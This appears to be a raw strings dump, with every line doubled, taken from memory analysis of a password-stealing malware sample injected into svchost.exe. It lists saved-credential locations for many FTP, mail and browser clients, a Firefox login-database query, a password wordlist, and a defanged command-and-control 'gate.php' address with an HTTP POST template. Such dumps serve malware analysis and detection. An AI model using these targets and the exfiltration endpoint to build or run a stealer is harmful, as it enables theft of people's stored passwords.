IMAP Password2

IMAP Password2

NNTP Password2

NNTP Password2

HTTPMail Password2

HTTPMail Password2

SMTP Password2

SMTP Password2

POP3 Password

POP3 Password

IMAP Password

IMAP Password

NNTP Password

NNTP Password

HTTP Password

HTTP Password

SMTP Password

SMTP Password

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

inetcomm server passwords

inetcomm server passwords

outlook account manager passwords

outlook account manager passwords

STATUS-IMPORT-OK

STATUS-IMPORT-OK

;3 #>6.&

;3 #>6.&

'2, / 0&7!4-)1#

'2, / 0&7!4-)1#

GetWindowsDirectoryA

GetWindowsDirectoryA

user32.dll

user32.dll

RegOpenKeyExA

RegOpenKeyExA

RegCloseKey

RegCloseKey

RegOpenKeyA

RegOpenKeyA

RegEnumKeyExA

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyA

InternetCrackUrlA

InternetCrackUrlA

InternetCreateUrlA

InternetCreateUrlA

wininet.dll

wininet.dll

shlwapi.dll

shlwapi.dll

wsock32.dll

wsock32.dll

userenv.dll

userenv.dll

2hXXp://VVV.facebook.com/

2hXXp://VVV.facebook.com/

xthpt/:w/wwf.cabeoo.koc/m

xthpt/:w/wwf.cabeoo.koc/m

svchost.exe_1712_rwx_00400000_00019000:

.text

.text

`.rdata

`.rdata

@.data

@.data

Ph.gA

Ph.gA

More information: hXXp://VVV.ibsensoftware.com/

More information: hXXp://VVV.ibsensoftware.com/

password

password

12345678

12345678

password1

password1

monkey

monkey

1234567

1234567

123456789

123456789

7777777

7777777

asshole

asshole

mickey

mickey

passw0rd

passw0rd

smokey

smokey

hockey

hockey

11111111

11111111

windows

windows

1234567890

1234567890

hXXp://46.105.238.41/gate.php

hXXp://46.105.238.41/gate.php

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

kernel32.dll

kernel32.dll

netapi32.dll

netapi32.dll

ole32.dll

ole32.dll

advapi32.dll

advapi32.dll

CryptGetUserKey

CryptGetUserKey

CryptExportKey

CryptExportKey

CryptDestroyKey

CryptDestroyKey

crypt32.dll

crypt32.dll

CertOpenSystemStoreA

CertOpenSystemStoreA

CertEnumCertificatesInStore

CertEnumCertificatesInStore

CertCloseStore

CertCloseStore

CryptAcquireCertificatePrivateKey

CryptAcquireCertificatePrivateKey

msi.dll

msi.dll

pstorec.dll

pstorec.dll

^shell32.dll

^shell32.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

explorer.exe

explorer.exe

POST %s HTTP/1.0

POST %s HTTP/1.0

Host: %s

Host: %s

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98)

{X-X-X-XX-XXXXXX}

{X-X-X-XX-XXXXXX}

Software\Far\Plugins\FTP\Hosts

Software\Far\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far2\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far Manager\Plugins\FTP\Hosts

Software\Far\SavedDialogHistory\FTPHost

Software\Far\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far2\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Software\Far Manager\SavedDialogHistory\FTPHost

Password

Password

wcx_PTF.ini

wcx_PTF.ini

FtpIniName

FtpIniName

Software\Ghisler\Windows Commander

Software\Ghisler\Windows Commander

\Ipswitch\WS_FTP

\Ipswitch\WS_FTP

\win.ini

\win.ini

WS_FTP

WS_FTP

CUTEFTP

CUTEFTP

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 6 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 7 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Home\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

Software\GlobalSCAPE\CuteFTP 8 Professional\QCToolbar

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Pro

\GlobalSCAPE\CuteFTP Lite

\GlobalSCAPE\CuteFTP Lite

\CuteFTP

\CuteFTP

\sm.dat

\sm.dat

\Sites.dat

\Sites.dat

\Quick.dat

\Quick.dat

\History.dat

\History.dat

\sitemanager.xml

\sitemanager.xml

\recentservers.xml

\recentservers.xml

\filezilla.xml

\filezilla.xml

Port

Port

Server.Host

Server.Host

Server.User

Server.User

Server.Pass

Server.Pass

Server.Port

Server.Port

Last Server Pass

Last Server Pass

Last Server Port

Last Server Port

FTP Navigator

FTP Navigator

FTP Commander

FTP Commander

ftplist.txt

ftplist.txt

Software\BPFTP\Bullet Proof FTP\Main

Software\BPFTP\Bullet Proof FTP\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BulletProof Software\BulletProof FTP Client\Main

Software\BPFTP\Bullet Proof FTP\Options

Software\BPFTP\Bullet Proof FTP\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BulletProof Software\BulletProof FTP Client\Options

Software\BPFTP

Software\BPFTP

\SmartFTP

\SmartFTP

Favorites.dat

Favorites.dat

History.dat

History.dat

addrbk.dat

addrbk.dat

quick.dat

quick.dat

\TurboFTP

\TurboFTP

Software\TurboFTP

Software\TurboFTP

Software\Sota\FFFTP

Software\Sota\FFFTP

Software\Sota\FFFTP\Options

Software\Sota\FFFTP\Options

Software\FTPWare\COREFTP\Sites

Software\FTPWare\COREFTP\Sites

profiles.xml

profiles.xml

\FTP Explorer

\FTP Explorer

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\FTP Explorer\Workspace\MFCToolBar-224

Software\FTP Explorer\Profiles

Software\FTP Explorer\Profiles

PasswordType

PasswordType

Login

Login

FtpSite.xml

FtpSite.xml

\sites.xml

\sites.xml

\FTPRush

\FTPRush

RushSite.xml

RushSite.xml

FtpPort

FtpPort

Software\Cryer\WebSitePublisher

Software\Cryer\WebSitePublisher

bitkinex.ds

bitkinex.ds

\drives.js

\drives.js

"password" : "

"password" : "

_Password

_Password

Software\NCH Software\ClassicFTP\FTPAccounts

Software\NCH Software\ClassicFTP\FTPAccounts

FtpServer

FtpServer

FtpUserName

FtpUserName

FtpPassword

FtpPassword

_FtpPassword

_FtpPassword

FtpDirectory

FtpDirectory

Software\FTPClient\Sites

Software\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

Software\SoftX.org\FTPClient\Sites

ftplast.osd

ftplast.osd

\SharedSettings.ccs

\SharedSettings.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings_1_0_5.ccs

\SharedSettings.sqlite

\SharedSettings.sqlite

\SharedSettings_1_0_5.sqlite

\SharedSettings_1_0_5.sqlite

leapftp

leapftp

unleap.exe

unleap.exe

sites.dat

sites.dat

sites.ini

sites.ini

\LeapWare\LeapFTP

\LeapWare\LeapFTP

PortNumber

PortNumber

\32BitFtp.ini

\32BitFtp.ini

NDSites.ini

NDSites.ini

PassWord

PassWord

Software\South River Technologies\WebDrive\Connections

Software\South River Technologies\WebDrive\Connections

FTP CONTROL

FTP CONTROL

FTPCON

FTPCON

hXXp://

hXXp://

hXXps://

hXXps://

PTF://

PTF://

opera

opera

wand.dat

wand.dat

_Software\Opera Software

_Software\Opera Software

Opera.HTML\shell\open\command

Opera.HTML\shell\open\command

wiseftpsrvs.bin

wiseftpsrvs.bin

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{CB1F2C0F-8094-4AAC-BCF5-41A64E27F777}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

SOFTWARE\Classes\TypeLib\{9EA55529-E122-4757-BC79-E4825F80732C}

wiseftpsrvs.ini

wiseftpsrvs.ini

wisePTF.ini

wisePTF.ini

FTPVoyager.ftp

FTPVoyager.ftp

FTPVoyager.qc

FTPVoyager.qc

\RhinoSoft.com

\RhinoSoft.com

nss3.dll

nss3.dll

PK11_GetInternalKeySlot

PK11_GetInternalKeySlot

sqlite3.dll

sqlite3.dll

sqlite3_open

sqlite3_open

sqlite3_close

sqlite3_close

sqlite3_prepare

sqlite3_prepare

sqlite3_step

sqlite3_step

sqlite3_column_bytes

sqlite3_column_bytes

sqlite3_column_blob

sqlite3_column_blob

mozsqlite3.dll

mozsqlite3.dll

profiles.ini

profiles.ini

PathToExe

PathToExe

prefs.js

prefs.js

signons.sqlite

signons.sqlite

signons.txt

signons.txt

signons2.txt

signons2.txt

signons3.txt

signons3.txt

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

SELECT hostname, encryptedUsername, encryptedPassword FROM moz_logins

Firefox

Firefox

\Mozilla\Firefox\

\Mozilla\Firefox\

Software\Mozilla

Software\Mozilla

fireFTPsites.dat

fireFTPsites.dat

SeaMonkey

SeaMonkey

\Mozilla\SeaMonkey\

\Mozilla\SeaMonkey\

Mozilla

Mozilla

\Mozilla\Profiles\

\Mozilla\Profiles\

Software\LeechFTP

Software\LeechFTP

bookmark.dat

bookmark.dat

SiteInfo.QFP

SiteInfo.QFP

WinFTP

WinFTP

sites.db

sites.db

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

CLSID\{11C1D741-A95B-11d2-8A80-0080ADB32FF4}\InProcServer32

servers.xml

servers.xml

\FTPGetter

\FTPGetter

ESTdb2.dat

ESTdb2.dat

QData.dat

QData.dat

\Estsoft\ALFTP

\Estsoft\ALFTP

MS IE FTP Passwords

MS IE FTP Passwords

SiteServer %d\Host

SiteServer %d\Host

SiteServer %d\WebUrl

SiteServer %d\WebUrl

SiteServer %d\Remote Directory

SiteServer %d\Remote Directory

SiteServer %d-User

SiteServer %d-User

SiteServer %d-User PW

SiteServer %d-User PW

%s\Keychain

%s\Keychain

SiteServer %d\SFTP

SiteServer %d\SFTP

DeluxeFTP

DeluxeFTP

sites.xml

sites.xml

Web Data

Web Data

Login Data

Login Data

SQLite format 3

SQLite format 3

logins

logins

origin_url

origin_url

password_value

password_value

\Google\Chrome

\Google\Chrome

\ChromePlus

\ChromePlus

Software\ChromePlus

Software\ChromePlus

\Nichrome

\Nichrome

Staff-FTP

Staff-FTP

SM.arch

SM.arch

FreshFTP

FreshFTP

BlazeFtp

BlazeFtp

site.dat

site.dat

LastPassword

LastPassword

LastPort

LastPort

Software\FlashPeak\BlazeFtp\Settings

Software\FlashPeak\BlazeFtp\Settings

\BlazeFtp

\BlazeFtp

FTP .Link\shell\open\command

FTP .Link\shell\open\command

GoFTP

GoFTP

Connections.txt

Connections.txt

3D-FTP

3D-FTP

\3D-FTP

\3D-FTP

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

SOFTWARE\Classes\TypeLib\{F9043C88-F6F2-101A-A3C9-08002B2F49FB}\1.2\0\win32

EasyFTP

EasyFTP

password 51:b:

password 51:b:

FTP Now

FTP Now

FTPNow

FTPNow

SOFTWARE\Robo-FTP 3.7\Scripts

SOFTWARE\Robo-FTP 3.7\Scripts

SOFTWARE\Robo-FTP 3.7\FTPServers

SOFTWARE\Robo-FTP 3.7\FTPServers

FTP Count

FTP Count

FTP File%d

FTP File%d

2.5.29.37

2.5.29.37

Software\LinasFTP\Site Manager

Software\LinasFTP\Site Manager

.duck

.duck

user.config

user.config

NppFTP.xml

NppFTP.xml

FTP destination server

FTP destination server

FTP destination user

FTP destination user

FTP destination password

FTP destination password

FTP destination port

FTP destination port

FTP destination catalog

FTP destination catalog

FTP profiles

FTP profiles

FTPShell

FTPShell

ftpshell.fsi

ftpshell.fsi

Software\MAS-Soft\FTPInfo\Setup

Software\MAS-Soft\FTPInfo\Setup

\FTPInfo

\FTPInfo

ServerList.xml

ServerList.xml

ftpsite.ini

ftpsite.ini

FTPList.db

FTPList.db

\MapleStudio\ChromePlus

\MapleStudio\ChromePlus

Software\Nico Mak Computing\WinZip\FTP

Software\Nico Mak Computing\WinZip\FTP

My FTP

My FTP

project.ini

project.ini

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

{74FF1730-B1F2-4D88-926B-1568FAE61DB7}

NovaFTP.db

NovaFTP.db

\INSoftware\NovaFTP

\INSoftware\NovaFTP

.oeaccount

.oeaccount

\Microsoft\Windows Live Mail

\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

Software\Microsoft\Windows Live Mail

\Microsoft\Windows Mail

\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

Software\Microsoft\Windows Mail

Mailbox.ini

Mailbox.ini

\PocoSystem.ini

\PocoSystem.ini

accounts.ini

accounts.ini

PopPort

PopPort

PopPassword

PopPassword

SmtpServer

SmtpServer

SmtpPort

SmtpPort

SmtpAccount

SmtpAccount

SmtpPassword

SmtpPassword

account.cfg

account.cfg

account.cfn

account.cfn

Dir #%d

Dir #%d

SMTP Email Address

SMTP Email Address

SMTP Server

SMTP Server

SMTP User Name

SMTP User Name

HTTP User

HTTP User

HTTP Server URL

HTTP Server URL

HTTPMail User Name

HTTPMail User Name

HTTPMail Server

HTTPMail Server

SMTP User

SMTP User

POP3 Port

POP3 Port

SMTP Port

SMTP Port

IMAP Port

IMAP Port

POP3 Password2

POP3 Password2

IMAP Password2

IMAP Password2

NNTP Password2

NNTP Password2

HTTPMail Password2

HTTPMail Password2

SMTP Password2

SMTP Password2

POP3 Password

POP3 Password

IMAP Password

IMAP Password

NNTP Password

NNTP Password

HTTP Password

HTTP Password

SMTP Password

SMTP Password

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook

inetcomm server passwords

inetcomm server passwords

outlook account manager passwords

outlook account manager passwords

STATUS-IMPORT-OK

STATUS-IMPORT-OK

;3 #>6.&

;3 #>6.&

'2, / 0&7!4-)1#

'2, / 0&7!4-)1#

GetWindowsDirectoryA

GetWindowsDirectoryA

user32.dll

user32.dll

RegOpenKeyExA

RegOpenKeyExA

RegCloseKey

RegCloseKey

RegOpenKeyA

RegOpenKeyA

RegEnumKeyExA

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyA

InternetCrackUrlA

InternetCrackUrlA

InternetCreateUrlA

InternetCreateUrlA

wininet.dll

wininet.dll

shlwapi.dll

shlwapi.dll

wsock32.dll

wsock32.dll

userenv.dll

userenv.dll

2hXXp://VVV.facebook.com/

2hXXp://VVV.facebook.com/

xthpt/:w/wwf.cabeoo.koc/m

xthpt/:w/wwf.cabeoo.koc/m

svchost.exe_1712_rwx_04000000_00007000:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Content-Length: %d

Content-Length: %d

hXXp://%s/

hXXp://%s/

HttpSendRequestA

HttpSendRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestA

InternetCrackUrlA

InternetCrackUrlA

HttpQueryInfoA

HttpQueryInfoA

InternetOpenUrlA

InternetOpenUrlA

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

SHLWAPI.dll

SHLWAPI.dll

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

ole32.dll

ole32.dll

svchost.exe_308:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe

svchost.exe_308_rwx_04000000_00007000:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Content-Length: %d

Content-Length: %d

hXXp://%s/

hXXp://%s/

HttpSendRequestA

HttpSendRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestA

InternetCrackUrlA

InternetCrackUrlA

HttpQueryInfoA

HttpQueryInfoA

InternetOpenUrlA

InternetOpenUrlA

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

SHLWAPI.dll

SHLWAPI.dll

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

ole32.dll

ole32.dll

svchost.exe_308_rwx_13140000_01550000:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe

svchost.exe_172:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

CP8.PG4

CP8.PG4

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe

svchost.exe_172_rwx_04000000_00007000:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Content-Length: %d

Content-Length: %d

hXXp://%s/

hXXp://%s/

HttpSendRequestA

HttpSendRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestA

InternetCrackUrlA

InternetCrackUrlA

HttpQueryInfoA

HttpQueryInfoA

InternetOpenUrlA

InternetOpenUrlA

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

SHLWAPI.dll

SHLWAPI.dll

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

ole32.dll

ole32.dll

svchost.exe_172_rwx_13140000_01550000:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

CP8.PG4

CP8.PG4

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe

svchost.exe_876:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

.ic?i

.ic?i

=.HRo/:

=.HRo/:

%d:p-S{W

%d:p-S{W

g%cH\F

g%cH\F

n.SBuu

n.SBuu

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe

svchost.exe_876_rwx_04000000_00007000:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Content-Length: %d

Content-Length: %d

hXXp://%s/

hXXp://%s/

HttpSendRequestA

HttpSendRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpOpenRequestA

HttpOpenRequestA

InternetCrackUrlA

InternetCrackUrlA

HttpQueryInfoA

HttpQueryInfoA

InternetOpenUrlA

InternetOpenUrlA

WININET.dll

WININET.dll

WS2_32.dll

WS2_32.dll

SHLWAPI.dll

SHLWAPI.dll

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

ole32.dll

ole32.dll

svchost.exe_876_rwx_13140000_01550000:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

.ic?i

.ic?i

=.HRo/:

=.HRo/:

%d:p-S{W

%d:p-S{W

g%cH\F

g%cH\F

n.SBuu

n.SBuu

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe

svchost.exe_432:

.text

.text

`.data

`.data

iphlpapi.dll

iphlpapi.dll

inetcomm.dll

inetcomm.dll

operator

operator

KERNEL32.DLL

KERNEL32.DLL

kernel32.dll

kernel32.dll

mscoree.dll

mscoree.dll

Please contact the application's support team for more information.

Please contact the application's support team for more information.

- Attempt to initialize the CRT more than once.

- Attempt to initialize the CRT more than once.

- CRT not initialized

- CRT not initialized

GetProcessWindowStation

GetProcessWindowStation

USER32.DLL

USER32.DLL

EX8^/u$9^%u

EX8^/u$9^%u

RegCloseKey

RegCloseKey

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

SHLWAPI.dll

SHLWAPI.dll

WS2_32.dll

WS2_32.dll

HttpQueryInfoA

HttpQueryInfoA

HttpSendRequestA

HttpSendRequestA

HttpOpenRequestA

HttpOpenRequestA

WININET.dll

WININET.dll

GetProcessHeap

GetProcessHeap

KERNEL32.dll

KERNEL32.dll

USER32.dll

USER32.dll

DNSAPI.dll

DNSAPI.dll

GdiplusShutdown

GdiplusShutdown

gdiplus.dll

gdiplus.dll

GDI32.dll

GDI32.dll

ole32.dll

ole32.dll

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

GetCPInfo

GetCPInfo

dh.rd

dh.rd

Wh%U1

Wh%U1

".eSH

".eSH

!"7'$%6:)* ,-./02345&(#>;=?98

!"7'$%6:)* ,-./02345&(#>;=?98

%System%\regedit.exe

%System%\regedit.exe

svchost.exe_432_rwx_04000000_00007000:

.text

.text

`.rdata

`.rdata

@.data

@.data

.reloc

.reloc

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Content-Length: %d

Content-Length: %d

hXXp://%s/

hXXp://%s/

HttpSendRequestA

HttpSendRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

